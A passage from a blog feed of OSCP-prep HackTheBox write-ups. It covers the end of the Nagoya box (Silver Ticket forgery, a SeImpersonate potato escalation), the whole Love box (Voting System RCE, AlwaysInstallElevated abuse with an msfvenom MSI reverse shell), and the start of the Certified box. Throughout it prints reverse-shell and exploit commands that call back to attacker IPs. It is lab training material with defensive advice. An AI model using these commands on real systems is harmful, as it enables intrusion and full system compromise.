<pre><code class="language-plaintext">impacket-ticketer -nthash e3a0168bc21cfb88b95c954a5b18f57c \
  -domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
  -domain nagoya-industries.com \
  -spn MSSQL/nagoya.nagoya-industries.com \
  -user-id 500 -groups 513,512 Administrator
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2f5f363e-5d3b-4c83-a983-8f5a147b35a4.png" alt="" style="display:block;margin:0 auto" />

<p>I loaded the resulting ticket into my environment:</p>
<pre><code class="language-plaintext">export KRB5CCNAME="$PWD/Administrator.ccache"
</code></pre>
<p>And authenticated to MSSQL through the Ligolo tunnel using the forged ticket. This time the connection came back as <strong>Administrator</strong> with a <code>(Pwn3d!)</code> result, confirming SQL sysadmin rights:</p>
<pre><code class="language-plaintext">nxc mssql 240.0.0.1 --use-kcache -x whoami
MSSQL   240.0.0.1   1433   NAGOYA   [+] nagoya-industries.com\Administrator from ccache (Pwn3d!)
MSSQL   240.0.0.1   1433   NAGOYA   nagoya-ind\svc_mssql
</code></pre>
<p>Note the crux of the technique in that output: the Silver Ticket authenticated me <em>as Administrator to the SQL service</em>, which is what unlocked <code>xp_cmdshell</code> — but the OS command itself executes as <code>svc_mssql</code>, the account the service runs under. That's exactly what I wanted, because <code>svc_mssql</code> is the account holding <code>SeImpersonatePrivilege</code>.</p>
<h3>5.7 Privilege Escalation — SeImpersonate to SYSTEM</h3>
<p><strong>Vulnerability Explanation:</strong> The <code>svc_mssql</code> service account holds <code>SeImpersonatePrivilege</code>. This privilege allows a process to impersonate the security context of any client that connects to it, which can be abused with a "potato"-family exploit to capture and impersonate the SYSTEM token, resulting in full local privilege escalation.</p>
<p><strong>Vulnerability Fix:</strong> Where feasible, run SQL Server under a Group Managed Service Account with the minimum required privileges, and be aware that <code>SeImpersonatePrivilege</code> is a well-known escalation primitive. Keep the OS patched and monitor for the named-pipe and token-manipulation behavior these exploits produce.</p>
<p><strong>Severity:</strong> Critical</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>Using the forged-ticket MSSQL access, I staged a netcat binary and used <code>xp_cmdshell</code> to fire a reverse shell back to my listener, landing a shell as <code>svc_mssql</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/05912da9-9072-4484-aed7-28468e599347.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6c0ddd80-7747-411a-9eb1-89cdc34b4b50.png" alt="" style="display:block;margin:0 auto" />

<p>Confirming the privilege set:</p>
<pre><code class="language-plaintext">PS C:\Windows\system32&gt; whoami /priv
</code></pre>
<p>The output confirmed <code>SeImpersonatePrivilege</code> was present and <strong>Enabled</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2ed1cc54-d90b-4b1f-af69-c38d37e55e96.png" alt="" style="display:block;margin:0 auto" />

<p>This is the green light for a potato attack. I uploaded <strong>SigmaPotato</strong> and used it to impersonate the SYSTEM token and spawn a new reverse shell:</p>
<pre><code class="language-plaintext">.\sp.exe "cmd /c C:\ProgramData\nc.exe -e cmd.exe 192.168.45.245 443"
</code></pre>
<p>SigmaPotato's output walked through the impersonation cleanly:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1e5cf353-df0b-405b-8540-ea86875b8f86.png" alt="" style="display:block;margin:0 auto" />

<p>The new shell landed as <strong>NT AUTHORITY\SYSTEM</strong>:</p>
<pre><code class="language-plaintext">C:\ProgramData&gt;whoami
nt authority\system
</code></pre>
<h3>5.8 Post-Exploitation — Proof</h3>
<p>With SYSTEM access on the Domain Controller, the box was fully compromised. Both flags were retrieved with their host context shown.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/43f79c9f-cfa4-45be-913c-089ef7783114.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Local.txt value:</strong></p>
<p>The user flag was captured earlier from the Evil-WinRM session as <code>christopher.lewis</code> (see 5.4), read from the root of the C: drive:</p>
<pre><code class="language-plaintext">*Evil-WinRM* PS C:\&gt; type local.txt
9a376490a4d65f9b293276aec725c5eb
</code></pre>
<p><strong>Proof.txt value:</strong></p>
<p>The proof flag was captured from the Administrator's desktop in the final SYSTEM shell:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/54469d83-cd14-41d2-a84f-51500306179f.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">C:\Users\Administrator\Desktop&gt;whoami &amp;&amp; type proof.txt
nt authority\system
e6c616d7a54a5878b928b3174ccb0b57
</code></pre>
<hr />
<h2>6. What Didn't Work</h2>
<p>Methodical elimination is as much a part of the process as the successful path, so it's worth recording the branches I ruled out:</p>
<ul>
<li><p><strong>AS-REP Roasting</strong> was checked and came up empty. Running <code>impacket-GetNPUsers</code> against the full user list returned <code>doesn't have UF_DONT_REQUIRE_PREAUTH set</code> for every one of the 27 accounts — no account had Kerberos pre-authentication disabled, so this vector was closed.</p>
</li>
<li><p><strong>Shadow Credentials / PKINIT</strong> against <code>svc_helpdesk</code> failed with <code>KDC_ERR_PADATA_TYPE_NOSUPP</code>. This error indicates the domain has no Active Directory Certificate Services (AD CS) / Certificate Authority, so certificate-based authentication has nothing to validate against. This is what pushed me toward a direct <code>GenericAll</code> password reset instead — the right call, since the ACL abuse path was the intended one.</p>
</li>
<li><p><strong>RunasCs</strong> with the cracked <code>svc_mssql</code> credentials failed with a logon-type error (<code>logon type '2' is not granted</code>), because the account was only permitted network logons (type 3), not interactive (type 2). This is <em>why</em> the path had to route through the MSSQL service rather than a direct <code>runas</code>-style credential swap.</p>
</li>
</ul>
<hr />
<h2>7. Conclusion</h2>
<p>Nagoya is a genuinely well-constructed Hard box because it doesn't rely on a single trick — it demands a coherent chain of reasoning where each step unlocks the conditions for the next. The standout lesson, and the reason it's worth studying, is the initial foothold: it rewards a disciplined, repeatable protocol for turning a target's own public content into a precise, effective password spray list. Scrape the vocabulary, supply the grammar, and keep the list small and targeted rather than brute-forcing blindly.</p>
<p>From there the box is a tour of the modern AD attack surface — Kerberoasting, BloodHound-driven ACL abuse, internal pivoting with Ligolo-ng, Silver Ticket forgery, and a classic <code>SeImpersonate</code> escalation. Each technique is worth knowing on its own; chaining them under a clear methodology is what turns a hard box into a solved one.</p>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #25
HTB Write-Up Love]]></title><description><![CDATA[1. Target Overview
Machine Name: LovePlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.48.103
Objective:Love was a straightforward Windows machine built around a vulnerable web applicatio]]></description><link>https://www.hack2harden.com/oscp-prep-25-htb-write-up-love</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-25-htb-write-up-love</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sun, 26 Apr 2026 23:22:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/414b1593-291c-4ffc-8b29-4bcfbb79a18f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Love<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.48.103</p>
<p><strong>Objective:</strong><br />Love was a straightforward Windows machine built around a vulnerable web application and a clean privilege escalation path. The initial attack involved identifying a Voting System web application running vulnerable software, but the most valuable part of the box for me was the Windows privilege escalation. This machine introduced me to abusing the <code>AlwaysInstallElevated</code> registry misconfiguration by creating and executing a malicious MSI package.</p>
<h3>Tools Used</h3>
<ul>
<li><p>RustScan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>NetExec</p>
</li>
<li><p>smbclient</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>SearchSploit</p>
</li>
<li><p>GitHub</p>
</li>
<li><p>Python HTTP server</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>rlwrap</p>
</li>
<li><p>PowerShell</p>
</li>
<li><p>PowerUp.ps1</p>
</li>
<li><p>msfvenom</p>
</li>
<li><p>msiexec</p>
</li>
<li><p>curl</p>
</li>
<li><p>Windows command-line utilities</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<p>I began the engagement with a RustScan scan against the target.</p>
<pre><code class="language-bash">rustscan -a 10.129.48.103 -b 5000
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/74da2bbd-cc60-4ea7-aa6e-020691389649.png" alt="" style="display:block;margin:0 auto" />

<p>The scan showed a fairly typical Windows attack surface. Several Windows services were exposed, including SMB and WinRM, along with multiple web services.</p>
<p>Notable open ports included:</p>
<ul>
<li><p><code>80</code> - HTTP</p>
</li>
<li><p><code>135</code> - MSRPC</p>
</li>
<li><p><code>139</code> - NetBIOS</p>
</li>
<li><p><code>443</code> - HTTPS</p>
</li>
<li><p><code>445</code> - SMB</p>
</li>
<li><p><code>3306</code> - MySQL</p>
</li>
<li><p><code>5000</code> - HTTP service</p>
</li>
<li><p><code>5985</code> - WinRM</p>
</li>
<li><p>Multiple high RPC ports</p>
</li>
</ul>
<p>The service information also leaked the domain name <code>love.htb</code>, so I added it to my <code>/etc/hosts</code> file.</p>
<p>Since SMB was exposed, I checked anonymous access first. SMB is always worth testing early on Windows targets because anonymous shares sometimes expose credentials, configuration files, backups, or other useful information.</p>
<pre><code class="language-bash">nxc smb 10.129.48.103 -u '' -p '' --shares
</code></pre>
<p>The target allowed a null authentication check to complete, but share enumeration was denied.</p>
<p>I also tested the Guest account.</p>
<pre><code class="language-bash">nxc smb 10.129.48.103 -u 'guest' -p '' --shares
</code></pre>
<p>The target showed that the Guest account was disabled.</p>
<p>I confirmed this behavior with <code>smbclient</code> as well.</p>
<pre><code class="language-bash">smbclient -N -L //10.129.48.103/
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29bb1b4d-50cb-4729-b735-6f673820c311.png" alt="" style="display:block;margin:0 auto" />

<p>This also failed with access denied, so SMB did not provide an easy path forward.</p>
<p>With SMB ruled out, I moved to web enumeration. I started with the web server on port <code>80</code>. Since earlier enumeration showed that the application was using PHP, I ran directory brute forcing with PHP extensions while manually browsing the site.</p>
<pre><code class="language-bash">ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/117f0484-b3e8-4af4-812a-e13c7712d5c8.png" alt="" style="display:block;margin:0 auto" />

<p>Visiting the site by both IP address and <code>love.htb</code> returned a login page for a Voting System application.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/aae6f843-751d-4499-bfae-9571783dec43.png" alt="" style="display:block;margin:0 auto" />

<p>I attempted common default credentials, but the login failed. I also tried basic SQL injection payloads in the visible input fields, but the application did not immediately respond in a useful way.</p>
<p>The <code>ffuf</code> scan returned an interesting discovery:</p>
<pre><code class="language-text">/admin/
</code></pre>
<p>When I browsed to <code>/admin/</code>, I found another login page.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/52b33b12-dc96-4068-9714-595355bb80fc.png" alt="" style="display:block;margin:0 auto" />

<p>I repeated the same basic credential and SQL injection checks there, but they were unsuccessful as well.</p>
<p>At first, the application looked like custom HackTheBox software because the site was plain and minimal. To be thorough, I searched for known exploits related to Voting System.</p>
<pre><code class="language-bash">searchsploit voting system
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/947658b9-84f9-42ee-ac55-1ae3873a5402.png" alt="" style="display:block;margin:0 auto" />

<p>This returned several public exploits for Voting System 1.0, including authentication bypass, SQL injection, and remote code execution vulnerabilities.</p>
<p>Further research led me to a public GitHub repository for an unauthenticated RCE exploit against Voting System 1.0.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c94e2f13-6f88-411d-8b03-1b3cf5997924.png" alt="" style="display:block;margin:0 auto" />

<p>The exploit chained SQL injection authentication bypass behavior with an authenticated file upload/RCE path. This became the clear exploitation path.</p>
<hr />
<h1>3. Exploitation</h1>
<p>After identifying the Voting System 1.0 unauthenticated RCE exploit, I cloned or downloaded the exploit script and prepared a listener.</p>
<pre><code class="language-bash">rlwrap nc -nvlp 9001
</code></pre>
<p>Then I ran the exploit against the target.</p>
<pre><code class="language-bash">python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001
</code></pre>
<p>The exploit successfully logged into the application, uploaded the payload, and triggered execution.</p>
<p>I received a reverse shell back from the target.</p>
<pre><code class="language-text">connect to [10.10.15.205] from (UNKNOWN) [10.129.48.103]
Microsoft Windows [Version 10.0.19042.867]
</code></pre>
<p>I confirmed my current user.</p>
<pre><code class="language-cmd">whoami
</code></pre>
<pre><code class="language-text">love\phoebe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ebf86260-6915-4b51-bbfa-86e2f947d61a.png" alt="" style="display:block;margin:0 auto" />

<p>The shell landed in the web application directory:</p>
<pre><code class="language-text">C:\xampp\htdocs\omrs\images&gt;
</code></pre>
<p>At this point, I had initial access as the low-privileged user <code>phoebe</code>.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<p>I began local privilege escalation enumeration by identifying the current user and checking the user’s privileges.</p>
<pre><code class="language-cmd">whoami /all
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/15a6fe64-d988-4608-8986-d0f4d2d1f703.png" alt="" style="display:block;margin:0 auto" />

<p>The user was <code>love\phoebe</code>. The token did not show any obvious high-impact privileges that could be abused directly. The user was a member of common groups such as <code>Users</code>, <code>Authenticated Users</code>, and <code>Remote Management Users</code>, but nothing immediately gave me administrative control.</p>
<p>Next, I listed local users.</p>
<pre><code class="language-cmd">net user
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c3139673-85f2-48e2-bf83-c25a963917b3.png" alt="" style="display:block;margin:0 auto" />

<p>There were no extra obvious local users to pivot into.</p>
<p>I then checked for AutoLogon credentials in the Windows registry.</p>
<pre><code class="language-powershell">Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3edc51e5-37a5-4d10-811d-fcc60e764c1b.png" alt="" style="display:block;margin:0 auto" />

<p>This did not reveal stored credentials.</p>
<p>After that, I checked the user directories for interesting files.</p>
<pre><code class="language-cmd">tree /f /a C:\Users
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3d0454c7-1084-4742-8600-1080b83ec54c.png" alt="" style="display:block;margin:0 auto" />

<p>I found <code>user.txt</code> under Phoebe’s Desktop, but nothing else useful for privilege escalation.</p>
<p>I also reviewed the web directories because the initial foothold came from XAMPP. Web directories are worth checking because administrators sometimes leave database credentials, configuration files, backups, or plaintext passwords inside application folders. In this case, I did not find useful credentials in the XAMPP web root.</p>
<p>Next, I checked listening network services.</p>
<pre><code class="language-cmd">netstat -ano | findstr TCP | findstr "0:"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2cccd74f-2ddb-49d1-8d89-8ce56d0775a7.png" alt="" style="display:block;margin:0 auto" />

<p>Several services were listening, but nothing immediately stood out as a clear local privilege escalation vector.</p>
<p>At this point, I decided to run PowerUp to look for common Windows privilege escalation misconfigurations I may have missed manually. I hosted the script from my Kali machine.</p>
<pre><code class="language-bash">python3 -m http.server 80
</code></pre>
<p>Then I downloaded it to the target.</p>
<pre><code class="language-powershell">curl 10.10.15.205/pup.ps1 -o pup.ps1
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/197e54ae-e8c7-4d2d-bfca-e93be127789d.png" alt="" style="display:block;margin:0 auto" />

<p>When I tried to load the script, PowerShell script execution was restricted. This was a useful learning point because I learned how to bypass the restriction for the current PowerShell process without changing the system permanently.</p>
<pre><code class="language-powershell">Set-ExecutionPolicy -Scope Process RemoteSigned
</code></pre>
<p>The important part is <code>-Scope Process</code>. This applies the execution policy change only to the current PowerShell session. It does not permanently weaken the host’s policy. After that, I loaded PowerUp and ran its checks.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/07a468d8-1ca2-4ed9-9a1c-c14518844579.png" alt="" style="display:block;margin:0 auto" />

<p>PowerUp identified the key privilege escalation path:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/08956d47-00e0-4ca0-bf27-0174e64274b6.png" alt="" style="display:block;margin:0 auto" />

<p>This meant the target was vulnerable to <code>AlwaysInstallElevated</code> abuse.</p>
<p><code>AlwaysInstallElevated</code> is a Windows Installer policy controlled by registry keys. When it is enabled in both the machine and user policy locations, Windows allows MSI installer packages to run with elevated privileges. That is dangerous because MSI files are not just normal archives or setup files. An MSI package can contain installation logic, file writes, registry changes, and custom actions.</p>
<p>In a secure configuration, a low-privileged user should not be able to install arbitrary software with administrative rights. But when <code>AlwaysInstallElevated</code> is enabled incorrectly, a low-privileged user can create or upload a malicious MSI package and execute it through <code>msiexec</code>. Windows then runs the installer with elevated privileges, allowing the payload inside the MSI to execute as <code>NT AUTHORITY\SYSTEM</code>.</p>
<p>In plain terms, the system was configured to trust MSI installers too much. Since I could write a malicious MSI and run it, I could turn that installer behavior into privilege escalation.</p>
<p>I created a malicious MSI reverse shell payload with <code>msfvenom</code>.</p>
<pre><code class="language-bash">msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f240e421-ad63-4ea1-ae8a-b88c5de01d66.png" alt="" style="display:block;margin:0 auto" />

<p>Then I hosted it from my Kali machine and downloaded it to the target.</p>
<p>I started a listener for the MSI payload.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d6570057-ebe6-4934-b0ab-ca35497f4f66.png" alt="" style="display:block;margin:0 auto" />

<p>Finally, I executed the MSI package with <code>msiexec</code>.</p>
<pre><code class="language-cmd">msiexec /quiet /qn /i rev.msi
</code></pre>
<p>The options made the install run silently:</p>
<ul>
<li><p><code>/i</code> tells Windows Installer to install the MSI package.</p>
</li>
<li><p><code>/quiet</code> suppresses user interaction.</p>
</li>
<li><p><code>/qn</code> runs with no GUI.</p>
</li>
</ul>
<p>The payload executed successfully, and I received a reverse shell as <code>NT AUTHORITY\SYSTEM</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8e2107b-4ef6-48d8-8b4c-a4d663b12469.png" alt="" style="display:block;margin:0 auto" />

<p>This completed the privilege escalation path.</p>
<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. SMB should still be checked early even when it does not immediately pay off</strong><br />SMB did not expose shares or useful files on this box, but checking it early was still the right move. Anonymous SMB access can lead to straightforward wins on Windows machines, so it made sense to rule it out before spending more time on the web application.</p>
<p><strong>2. Plain-looking web applications may still be public software</strong><br />The Voting System application looked simple enough that it could have been custom HTB software. Searching for known exploits proved that it was a real vulnerable application with public exploit code available. This reinforced the importance of checking application names with tools like <code>searchsploit</code> instead of assuming every simple interface is custom-built.</p>
<p><strong>3. Web exploitation often comes from chaining smaller weaknesses</strong><br />The exploit path was not just “visit one URL and get a shell.” The public exploit chained application weaknesses together, using SQL injection/authentication bypass behavior to reach functionality that allowed code execution. That is a useful reminder that web exploitation often depends on how multiple flaws interact.</p>
<p><strong>4. Execution policy is not the same thing as real security control</strong><br />The PowerShell execution policy initially blocked external script execution, but <code>Set-ExecutionPolicy -Scope Process RemoteSigned</code> allowed me to bypass it for the current session. This taught me that execution policy is more of a safety feature than a true security boundary.</p>
<p><strong>5. AlwaysInstallElevated is a high-impact Windows misconfiguration</strong><br />The biggest takeaway from Love was learning how dangerous <code>AlwaysInstallElevated</code> can be. If both required registry keys are enabled, a low-privileged user can execute a malicious MSI package with elevated privileges and become <code>SYSTEM</code>.</p>
<p><strong>6. MSI files are more powerful than normal installers</strong><br />Before this box, I understood MSI files mostly as Windows installation packages. Love made it clear that MSI files can contain custom actions that execute code. When Windows runs that MSI with elevated privileges, the custom action becomes a privilege escalation mechanism.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. Patch public-facing web applications</strong><br />The initial compromise came from vulnerable Voting System software exposed through the web server. Defenders should maintain an accurate software inventory, patch known vulnerable applications, and remove unsupported software from production environments.</p>
<p><strong>2. Do not expose unnecessary services</strong><br />The target exposed several services, including SMB, WinRM, MySQL, and multiple web ports. Even when some services are properly locked down, each exposed service increases the attack surface and gives attackers more enumeration opportunities.</p>
<p><strong>3. Disable AlwaysInstallElevated unless there is a strict business need</strong><br /><code>AlwaysInstallElevated</code> should not be enabled in normal environments. If both the HKCU and HKLM policy values are set, low-privileged users may be able to execute MSI packages with elevated privileges.</p>
<p><strong>4. Monitor suspicious MSI creation and execution</strong><br />Defenders should watch for MSI files created or executed from user-writable locations such as <code>C:\Users</code>, <code>C:\ProgramData</code>, temporary directories, or web application directories. Silent MSI execution using <code>msiexec /quiet</code> or <code>/qn</code> should also be treated as suspicious when performed by low-privileged users.</p>
<p><strong>5. Treat PowerShell execution policy as weak protection</strong><br />Execution policy should not be relied on as a security boundary. Attackers can often bypass it per process. Stronger controls such as AppLocker, Windows Defender Application Control, constrained language mode, and proper EDR monitoring are more meaningful defenses.</p>
<hr />
<h1>Useful Commands</h1>
<p><strong>RustScan initial scan</strong></p>
<pre><code class="language-bash">rustscan -a 10.129.48.103 -b 5000
</code></pre>
<p><strong>Anonymous SMB share enumeration with NetExec</strong></p>
<pre><code class="language-bash">nxc smb 10.129.48.103 -u '' -p '' --shares
</code></pre>
<p><strong>Guest SMB enumeration attempt</strong></p>
<pre><code class="language-bash">nxc smb 10.129.48.103 -u 'guest' -p '' --shares
</code></pre>
<p><strong>Anonymous SMB enumeration with smbclient</strong></p>
<pre><code class="language-bash">smbclient -N -L //10.129.48.103/
</code></pre>
<p><strong>Web directory brute force with PHP extension</strong></p>
<pre><code class="language-bash">ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403
</code></pre>
<p><strong>Search for public Voting System exploits</strong></p>
<pre><code class="language-bash">searchsploit voting system
</code></pre>
<p><strong>Run the Voting System unauthenticated RCE exploit</strong></p>
<pre><code class="language-bash">python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001
</code></pre>
<p><strong>Catch the initial reverse shell</strong></p>
<pre><code class="language-bash">rlwrap nc -nvlp 9001
</code></pre>
<p><strong>Check current Windows user</strong></p>
<pre><code class="language-cmd">whoami
</code></pre>
<p><strong>Check user privileges and group membership</strong></p>
<pre><code class="language-cmd">whoami /all
</code></pre>
<p><strong>List local users</strong></p>
<pre><code class="language-cmd">net user
</code></pre>
<p><strong>Check for AutoLogon registry credentials</strong></p>
<pre><code class="language-powershell">Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
<p><strong>Recursively list user directories</strong></p>
<pre><code class="language-cmd">tree /f /a C:\Users
</code></pre>
<p><strong>Check listening TCP services</strong></p>
<pre><code class="language-cmd">netstat -ano | findstr TCP | findstr "0:"
</code></pre>
<p><strong>Host files from Kali</strong></p>
<pre><code class="language-bash">python3 -m http.server 80
</code></pre>
<p><strong>Download PowerUp to the target</strong></p>
<pre><code class="language-powershell">curl 10.10.15.205/pup.ps1 -o pup.ps1
</code></pre>
<p><strong>Bypass PowerShell execution policy for the current process</strong></p>
<pre><code class="language-powershell">Set-ExecutionPolicy -Scope Process RemoteSigned
</code></pre>
<p><strong>Load and run PowerUp checks</strong></p>
<pre><code class="language-powershell">.\pup.ps1
Invoke-AllChecks
</code></pre>
<p><strong>Create malicious MSI payload</strong></p>
<pre><code class="language-bash">msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64
</code></pre>
<p><strong>Download malicious MSI to the target</strong></p>
<pre><code class="language-powershell">curl 10.10.15.205/rev.msi -o rev.msi
</code></pre>
<p><strong>Catch SYSTEM reverse shell</strong></p>
<pre><code class="language-bash">rlwrap nc -nvlp 7777
</code></pre>
<p><strong>Execute MSI payload silently</strong></p>
<pre><code class="language-cmd">msiexec /quiet /qn /i rev.msi
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #24
HTB Write-Up Certified]]></title><description><![CDATA[1. Target Overview
Machine Name: CertifiedPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.231.186Objective: Use the provided low-privileged domain credentials to enumerate the Active Di]]></description><link>https://www.hack2harden.com/oscp-prep-24-htb-write-up-certified</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-24-htb-write-up-certified</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sun, 26 Apr 2026 01:35:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/22e68c0c-4512-475b-a4b0-d315a02a2ab8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Certified<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.231.186<br /><strong>Objective:</strong> Use the provided low-privileged domain credentials to enumerate the Active Directory environment, identify a viable privilege escalation path, and obtain full administrative control over the domain controller.</p>
<p>Certified was a really solid box because it chained together several realistic Active Directory misconfigurations into one clean attack path. Since this was an assumed-breach scenario, I started with valid domain user credentials instead of going in blind. What I liked most was how the box gradually pushed me from normal domain enumeration into ACL abuse, then into account takeover through shadow credentials, and finally into ADCS abuse to reach full domain compromise.</p>
<h3>Tools Used</h3>
<ul>
<li><p>RustScan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>NetExec (<code>nxc</code>)</p>
</li>
<li><p>Impacket</p>
</li>
<li><p>BloodHound</p>
</li>
<li><p>RustHound</p>
</li>
<li><p>bloodyAD</p>
</li>
<li><p>Certipy</p>
</li>
<li><p>Evil-WinRM</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>General Enumeration</h3>
<p>I started the engagement the same way I usually do by scanning the target for exposed services. The port scan showed a very typical Active Directory attack surface, including DNS, Kerberos, LDAP, SMB, WinRM, and several high RPC ports.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/61578b7a-4b26-4683-b5f1-cbcd9b55c721.png" alt="" style="display:block;margin:0 auto" />

<p>That immediately told me I was dealing with a domain controller and that most of my early progress would likely come from authenticated AD enumeration rather than web exploitation or service-specific bugs.</p>
<p>From the scan and subsequent SMB enumeration, I also learned the host was <strong>DC01</strong> in the <strong>certified.htb</strong> domain. Since the FQDN was exposed, I added <strong>DC01.certified.htb</strong> to my <code>/etc/hosts</code> file so my Kerberos- and AD-related tooling would resolve the host correctly. I also took note that the box presented certificate-related infrastructure, which made me keep ADCS in the back of my mind as a possible escalation route later on.</p>
<h3>SMB Enumeration</h3>
<p>Because I already had valid domain credentials for <strong>judith.mader</strong>, I moved straight into authenticated SMB enumeration. I first listed the available shares to see whether I had access to any non-default content or any folders that might leak credentials, scripts, or internal documentation.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/20aced79-4023-47fd-b1b9-4bade47cf136.png" alt="" style="display:block;margin:0 auto" />

<p>That check only gave me access to standard domain shares. I could read <strong>IPC$</strong>, <strong>NETLOGON</strong>, and <strong>SYSVOL</strong>, but there was nothing immediately unusual about the share permissions. At this point, SMB was useful for confirming my authenticated access level and learning more about the environment, but it did not directly hand me a quick win.</p>
<h3>User Enumeration</h3>
<p>Next, I used authenticated SMB-based user enumeration to build a list of domain users I could target later. This gave me several important accounts to track, including <strong>management_svc</strong> and <strong>ca_operator</strong>, both of which ended up mattering a lot later in the attack chain.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4a3ceae2-3659-4b27-9309-3445f9fae26a.png" alt="" style="display:block;margin:0 auto" />

<p>I also checked whether my current user had any remote access options that would let me pivot into local host enumeration right away, but that path was not available to me yet. Since I could not immediately turn my Judith access into a shell, I stayed focused on domain-level enumeration instead.</p>
<h3>Kerberos Enumeration</h3>
<p>With a user list in hand, I tried the obvious Kerberos attacks next. I first performed Kerberoasting and successfully requested a service ticket for <strong>management_svc</strong>. My first attempt ran into clock skew issues, so I synced my attack box time against the target and repeated the request. After correcting the time, I was able to extract the TGS hash cleanly.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/885d8fae-b87b-4b24-952d-ce9b29d6e6d3.png" alt="" style="display:block;margin:0 auto" />

<p>Even though I got the hash, I was not able to crack it offline with my wordlists. That mattered because it meant I had identified a potentially useful service account, but password cracking was not going to be my path forward here.</p>
<p>I also checked the rest of the users for AS-REP roasting opportunities, but none of them had <strong>Do not require Kerberos preauthentication</strong> enabled. That closed off another common early AD attack path and pushed me toward privilege relationships rather than credential attacks.</p>
<h3>ACL and Relationship Enumeration</h3>
<p>Since the straightforward credential attacks were not getting me anywhere, I moved to BloodHound-based domain relationship analysis using external collection.</p>
